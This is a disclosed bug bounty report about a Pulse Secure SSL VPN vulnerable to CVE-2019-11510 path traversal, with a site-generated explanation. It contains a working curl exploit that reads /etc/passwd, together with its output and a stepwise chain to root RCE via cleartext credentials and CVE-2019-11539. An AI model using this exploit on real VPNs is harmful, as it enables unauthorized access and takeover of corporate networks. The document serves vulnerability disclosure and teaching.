Skip to content
Path traversal Disclosed report Intermediate CVE-2019-11510CVE-2019-11542CVE-2019-11539CVE-2019-11538CVE-2019-11508CVE-2019-11540

Arbitrary File Reading leads to RCE in the Pulse Secure SSL VPN on the https://██████ (███)

A Pulse Secure SSL VPN instance was vulnerable to a pre-authentication arbitrary file read, allowing an attacker to read files such as the system password file. Because the product stored credentials in cleartext, an attacker could read them, log in to the VPN, and then use a separate post-authentication command injection to run code as root.

sp1d3rs Follow

Originally disclosed on HackerOne

High 8.6 View original
  • Triaged in 6 hours
  • Fixed in 2 months
  • Paid in 4 days
  • Disclosed after 4.8 years

##Description Hello. Some time ago, researcher Orange Tsai from DEVCORE team had a talk on Defcon/BlackHat regarding Pulse Secure SSL VPN vulnerabilities fixed on 2019/4/25: CVE-2019-11510 - Pre-auth Arbitrary File Reading CVE-2019-11542 - Post-auth Stack Buffer Overflow CVE-2019-11539 - Post-auth Command Injection CVE-2019-11538 - Post-auth Arbitrary File Reading CVE-2019-11508 - Post-auth Arbitrary File Writing CVE-2019-11540 - Post-auth Session Hijacking

Link to the slides: https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf

I discovered that https://██████████ instance is vulnerable to described vulnerabilities.

##POC

Reading /etc/passwd via CVE-2019-11510:

curl -i -k --path-as-is https://██████████/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/
root:x:0:0:root:/:/bin/bash
nfast:x:0:0:nfast:/:/bin/bash
bin:x:1:1:bin:/:
nobody:x:99:99:Nobody:/:
dns:x:98:98:DNS:/:
term:x:97:97:Telnet/SSH:/:
web80:x:96:96:Port 80 web:/:
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin

█████

The RCE can be achieved with this chain:

  1. Pulse Secure stores credentials in the cleartext.
  2. Attacker reads credentials and authorizes on VPN
  3. Attacker exploits CVE-2019-11539 - Post-auth Command Injection achieving RCE as root.

##Suggested fix Update the Pulse Secure SSL VPN software.

##Note If you experience timeout errors when reproducing, try to change your IP/VPN

Impact

Remote code execution as root (by reading plaintext credentials and then exploiting CVE-2019-11539 - Post-auth Command Injection) and accessing intranet behind VPN. You can see here example report to Twitter by Orange Tsai: https://hackerone.com/reports/591295

The original report as published on HackerOne, by sp1d3rs. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely a path traversal in the Pulse Secure web component that let unauthenticated users read arbitrary files, combined with cleartext storage of credentials.

Impact

An attacker could read cleartext credentials, log in to the VPN, and then achieve remote code execution as root, gaining access to the intranet behind the VPN.

What the attacker needed

Network access to the VPN; no login needed for the file read; valid credentials for the RCE step

The fix

The Pulse Secure SSL VPN software should be updated to a patched version.

How it was found

  1. Send a crafted request to the VPN's web path that traverses directories to reach a system file.
  2. Observe the contents of the system password file returned in the response.
  3. Read stored credentials from the server.
  4. Log in to the VPN using the recovered credentials.
  5. Exploit the post-authentication command injection to run commands as root.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A VPN is a service that lets staff reach internal systems remotely. This one had a flaw that let anyone read files on the server without logging in first, and it also kept user passwords in a readable form. By reading those passwords, an attacker could log in and then use another flaw to run their own commands on the server.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by sp1d3rs

View all

62 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.